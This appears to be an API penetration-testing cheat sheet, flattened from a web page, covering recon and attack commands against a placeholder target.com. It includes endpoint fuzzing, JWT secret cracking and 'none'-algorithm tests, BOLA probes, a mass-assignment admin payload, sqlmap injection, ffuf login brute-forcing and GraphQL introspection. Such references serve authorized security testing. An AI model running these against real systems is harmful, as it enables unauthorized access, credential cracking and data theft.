Type
Description
REST
Most common, uses HTTP methods
GraphQL
Query language for APIs
SOAP
XML-based, legacy systems
gRPC
Google's RPC framework
# Crawl for API paths
katana -u https://target.com -jc -d 3
# Fuzz common endpoints
ffuf -u https://target.com/FUZZ -w /opt/wordlists/custom/api-endpoints.txt
# Look for documentation
curl https://target.com/swagger.json
curl https://target.com/openapi.yaml
curl https://target.com/api-docs
curl -I https://api.target.com/v1/users
curl -I https://api.target.com/v2/users
# Decode JWT
echo " eyJ..." | jwt-hack decode
# Crack weak secret
jwt-hack crack -t " token" -w /opt/wordlists/passwords/rockyou.txt
# Test none algorithm
jwt-hack none -t " token"
Check for exposed keys in JS files
Test key in different endpoints
Check for rate limiting
BOLA (Broken Object Level Authorization)
# Test accessing other user's resources
curl -H " Authorization: Bearer $TOKEN " https://api.target.com/users/1
curl -H " Authorization: Bearer $TOKEN " https://api.target.com/users/2
# Try adding admin fields
curl -X POST https://api.target.com/users \
-H " Content-Type: application/json" \
-d ' {"name":"test","role":"admin","isAdmin":true}'
sqlmap -u " https://api.target.com/users?id=1" --batch
# Test with ffuf
ffuf -u https://api.target.com/login \
-X POST \
-d ' {"user":"admin","pass":"FUZZ"}' \
-w /opt/wordlists/passwords/common.txt \
-rate 100
curl -X POST https://target.com/graphql \
-H " Content-Type: application/json" \
-d ' {"query":"{ __schema { types { name } } }"}'
Exposed introspection
Missing authorization
Injection in queries
Batching attacks
Tool
Usage
Postman
API testing GUI
httpie
Command-line API client
Burp Suite
Intercept and modify requests
jwt-hack
JWT manipulation
nuclei
Automated scanning